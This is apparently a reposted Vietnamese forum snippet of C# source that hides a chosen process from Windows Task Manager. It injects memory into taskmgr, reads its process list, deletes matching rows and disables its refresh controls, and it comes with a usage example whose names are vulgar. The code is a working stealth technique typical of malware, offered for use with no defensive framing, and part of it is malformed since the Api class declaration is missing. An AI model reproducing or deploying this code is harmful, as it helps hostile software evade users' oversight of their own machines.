zzzz

时间:2023-03-08 22:43:08
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.Management;
  5. using System.Runtime.InteropServices;
  6. using System.Threading;
  7. //Bài viết đăng tại http://diendan.congdongcviet.com/showthread.php?t=34797
  8. namespace HideProcess
  9. {
  10.     static public class HideIt
  11.     {
  12.         static private bool Initialized1;
  13.         static private DateTime TaskManagerTime = DateTime.Now;
  14.         static private int TaskManagerCount;
  15.         static private bool TaskManagerReload;
  16.         static public void Bitch(Process process)
  17.         {
  18.             if (!Initialized1) Initialize();
  19.             new Proc(process);
  20.             TaskManagerReload = true;
  21.         }
  22.         static private void Initialize()
  23.         {
  24.             new Thread(new ThreadStart(delegate
  25.             {
  26.                 while (true)
  27.                 {
  28.                     _HideProcess();
  29.                     Thread.Sleep(10);
  30.                 }
  31.             }
  32.                 )).Start();
  33.             Initialized1 = true;
  34.         }
  35.         static private void _HideProcess()
  36.         {
  37.             try
  38.             {
  39.                 IntPtr lhWndParent = Process.GetProcessesByName("taskmgr")[0].MainWindowHandle;
  40.                 Api.WindowPlacement winp = new Api.WindowPlacement();
  41.                 winp.length = Marshal.SizeOf(winp);
  42.                 Api.GetWindowPlacement(lhWndParent, ref winp);
  43.                 bool visible = winp.showCmd == 1 || winp.showCmd == 3;
  44.                 IntPtr lhParent = Api.FindWindowEx(lhWndParent, IntPtr.Zero, null, null);
  45.                 IntPtr lhWndProcessList = Api.GetDlgItem(lhParent, 1009);
  46.                 IntPtr hMenu = Api.GetMenu(lhWndParent);
  47.                 IntPtr hViewMenu = Api.GetSubMenu(hMenu, 2);
  48.                 IntPtr hUpdateSpeed = Api.GetSubMenu(hViewMenu, 1);
  49.                 uint hRefreshNow = Api.GetMenuItemID(hViewMenu, 0);
  50.                 if (hUpdateSpeed != IntPtr.Zero)
  51.                 {
  52.                     Api.SendMessage(lhWndParent, 273, (IntPtr)Api.GetMenuItemID(hUpdateSpeed, 3), IntPtr.Zero);
  53.                     Api.RemoveMenu(hViewMenu, (uint)hUpdateSpeed, 1);
  54.                 }
  55.                 Api.EnableMenuItem(hMenu, hRefreshNow, 1);
  56.                 if (visible) Api.LockWindowUpdate(lhWndProcessList);
  57.                 if ((DateTime.Now - TaskManagerTime).TotalMilliseconds > 1000)
  58.                 {
  59.                     Api.SendMessage(lhWndParent, 273, (IntPtr)hRefreshNow, IntPtr.Zero);
  60.                     TaskManagerTime = DateTime.Now;
  61.                 }
  62.                 GC.Collect();
  63.                 int count = (int)Api.SendMessage(lhWndProcessList, 0x1004, IntPtr.Zero, "");
  64.                 if (count != TaskManagerCount || TaskManagerReload)
  65.                 {
  66.                     TaskManagerReload = false;
  67.                     TaskManagerCount = count;
  68.                     for (int i = 0; i < count; i++)
  69.                     {
  70.                         string[] cells = new string[10];
  71.                         for (int a = 0; a < 10; a++)
  72.                         {
  73.                             cells[a] = GetListViewItem(lhWndProcessList, i, a).ToLower();
  74.                             if (a > 0 && cells[a] == cells[0]) break;
  75.                         }
  76.                         foreach (Proc proc in Proc.List)
  77.                         {
  78.                             bool f1 = false, f2 = false;
  79.                             for (int a = 0; a < 10; a++)
  80.                             {
  81.                                 if (cells[a] == null || f1 && f2) break;
  82.                                 if (cells[a].StartsWith(proc.Name)) f1 = true;
  83.                                 else if (cells[a] == proc.User) f2 = true;
  84.                             }
  85.                             if (f1 && f2)
  86.                             {
  87.                                 Api.SendMessage(lhWndProcessList, 4104, (IntPtr)i--, IntPtr.Zero);
  88.                                 TaskManagerCount--;
  89.                                 break;
  90.                             }
  91.                         }
  92.                     }
  93.                 }
  94.                 if (visible) Api.LockWindowUpdate(IntPtr.Zero);
  95.             }
  96.             catch { }
  97.         }
  98.         static private string GetListViewItem(IntPtr hWnd, int index, int subitem)
  99.         {
  100.             Api.LvItem lvItem = new Api.LvItem();
  101.             IntPtr lpLocalBuffer = Marshal.AllocHGlobal(1024);
  102.             uint pid;
  103.             Api.GetWindowThreadProcessId(hWnd, out pid);
  104.             IntPtr hProcess = Api.OpenProcess(0x001f0fff, false, (int)pid);
  105.             IntPtr lpRemoteBuffer = Api.VirtualAllocEx(hProcess, IntPtr.Zero, 1024, 0x1000, 4);
  106.             lvItem.mask = 1;
  107.             lvItem.iItem = index;
  108.             lvItem.iSubItem = subitem;
  109.             lvItem.pszText = (IntPtr)((int)lpRemoteBuffer + Marshal.SizeOf(typeof(Api.LvItem)));
  110.             lvItem.cchTextMax = 50;
  111.             Api.WriteProcessMemory(hProcess, lpRemoteBuffer, ref lvItem, Marshal.SizeOf(typeof(Api.LvItem)), 0);
  112.             Api.SendMessage(hWnd, 0x1005, IntPtr.Zero, lpRemoteBuffer);
  113.             Api.ReadProcessMemory(hProcess, lpRemoteBuffer, lpLocalBuffer, 1024, 0);
  114.             string ret = Marshal.PtrToStringAnsi((IntPtr)((int)lpLocalBuffer + Marshal.SizeOf(typeof(Api.LvItem))));
  115.             Marshal.FreeHGlobal(lpLocalBuffer);
  116.             Api.VirtualFreeEx(hProcess, lpRemoteBuffer, 0, 0x8000);
  117.             Api.CloseHandle(hProcess);
  118.             return ret;
  119.         }
  120.         static private string GetProcessUser(Process process)
  121.         {
  122.             ManagementObjectCollection procs = new ManagementObjectSearcher("Select * From Win32_Process Where ProcessID = " + process.Id).Get();
  123.             foreach (ManagementObject obj in procs)
  124.             {
  125.                 string[] args = new[] { "" };
  126.                 int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", args));
  127.                 if (returnVal == 0) return args[0];
  128.             }
  129.             return "";
  130.         }
  131.         private class Proc
  132.         {
  133.             static public List<Proc> List = new List<Proc>();
  134.             public string Name, User;
  135.             public Proc(Process proc)
  136.             {
  137.                 Name = proc.ProcessName.ToLower();
  138.                 User = GetProcessUser(proc).ToLower();
  139.                 lock (List) List.Add(this);
  140.             }
  141.         }
  142.     }
  143.     {
  144.         [DllImport("user32.dll", SetLastError = true)]
  145.         static public extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
  146.         [DllImport("user32.dll")]
  147.         static public extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem);
  148.         [DllImport("user32.dll")]
  149.         static public extern bool EnableWindow(IntPtr hWnd, bool bEnable);
  150.         [DllImport("user32.dll")]
  151.         static public extern IntPtr GetMenu(IntPtr hWnd);
  152.         [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
  153.         static public extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
  154.         [DllImport("user32.dll")]
  155.         static public extern uint GetMenuItemID(IntPtr hMenu, int nPos);
  156.         [DllImport("user32.dll")]
  157.         static public extern bool EnableMenuItem(IntPtr hMenu, uint uIDEnableItem, uint uEnable);
  158.         [DllImport("user32.dll")]
  159.         static public extern bool RemoveMenu(IntPtr hMenu, uint uPosition, uint uFlags);
  160.         [DllImport("user32.dll", CharSet = CharSet.Auto)]
  161.         static public extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
  162.         [DllImport("user32.dll", CharSet = CharSet.Auto)]
  163.         static public extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, string lParam);
  164.         [DllImport("user32.dll", CharSet = CharSet.Auto)]
  165.         static public extern IntPtr SendMessage(IntPtr hWnd, [MarshalAs(UnmanagedType.U4)] int msg, IntPtr wParam, ref TvItem item);
  166.         [DllImport("user32.dll")]
  167.         static public extern int SendMessage(IntPtr hWnd, int Msg, uint wParam, IntPtr lParam);
  168.         [DllImport("user32.dll")]
  169.         static public extern bool LockWindowUpdate(IntPtr hWndLock);
  170.         [DllImport("user32.dll")]
  171.         static public extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
  172.         [DllImport("user32.dll")]
  173.         [return: MarshalAs(UnmanagedType.Bool)]
  174.         static public extern bool GetWindowPlacement(IntPtr hWnd, ref WindowPlacement lpwndpl);
  175.         [DllImport("kernel32.dll")]
  176.         static public extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
  177.         [DllImport("kernel32.dll")]
  178.         static public extern bool CloseHandle(IntPtr hObject);
  179.         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  180.         static public extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  181.         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  182.         static public extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint dwFreeType);
  183.         [DllImport("kernel32.dll")]
  184.         static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr baseAddress, byte[] buffer, int dwSize, out int numberOfBytesRead);
  185.         [DllImport("kernel32.dll")]
  186.         static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, int lpNumberOfBytesRead);
  187.         [DllImport("kernel32.dll")]
  188.         static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref TvItem buffer, int dwSize, IntPtr lpNumberOfBytesWritten);
  189.         [DllImport("kernel32.dll", SetLastError = true)]
  190.         static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
  191.         [DllImport("kernel32.dll")]
  192.         static public extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, ref LvItem buffer, int dwSize, int lpNumberOfBytesWritten);
  193.         [DllImport("kernel32.dll")]
  194.         static public extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, IntPtr lpNumberOfBytesRead);
  195.         [DllImport("user32.dll", SetLastError = true)]
  196.         static public extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
  197.         [DllImport("user32.dll")]
  198.         static public extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out int lpwdProcessID);
  199.         [StructLayout(LayoutKind.Sequential)]
  200.         public struct LvItem
  201.         {
  202.             public uint mask;
  203.             public int iItem;
  204.             public int iSubItem;
  205.             public uint state;
  206.             public uint stateMask;
  207.             public IntPtr pszText;
  208.             public int cchTextMax;
  209.             public int iImage;
  210.         }
  211.         [StructLayout(LayoutKind.Sequential)]
  212.         public struct TvItem
  213.         {
  214.             public int mask;
  215.             public IntPtr hItem;
  216.             public int state;
  217.             public int stateMask;
  218.             public IntPtr pszText;
  219.             public int cchTextMax;
  220.             public int iImage;
  221.             public int iSelectedImage;
  222.             public int cChildren;
  223.             public IntPtr lParam;
  224.             public int iIntegral;
  225.         }
  226.         public struct Rect
  227.         {
  228.             int left, top, right, bottom;
  229.         }
  230.         public struct Point
  231.         {
  232.             int x, y;
  233.         }
  234.         public struct WindowPlacement
  235.         {
  236.             public int length, flags, showCmd;
  237.             public Point ptMinPosition, ptMaxPosition;
  238.             public Rect rcNormalPosition;
  239.         }
  240.     }
  241. }

khi gọi:

Visual C# Code:
  1. Process AndSuckMyCock = Process.GetProcessById(Process.GetCurrentProcess().Id);
  2. HideIt.Bitch(AndSuckMyCock);

Phương pháp mà code này thực hiện tương tự như đây: codeproject.com/KB/system/Hack_Windows_Task_Manager.aspx

Code:
SendMessage(hWnd,LVM_DELETECOLUMN,(WPARAM)0,0);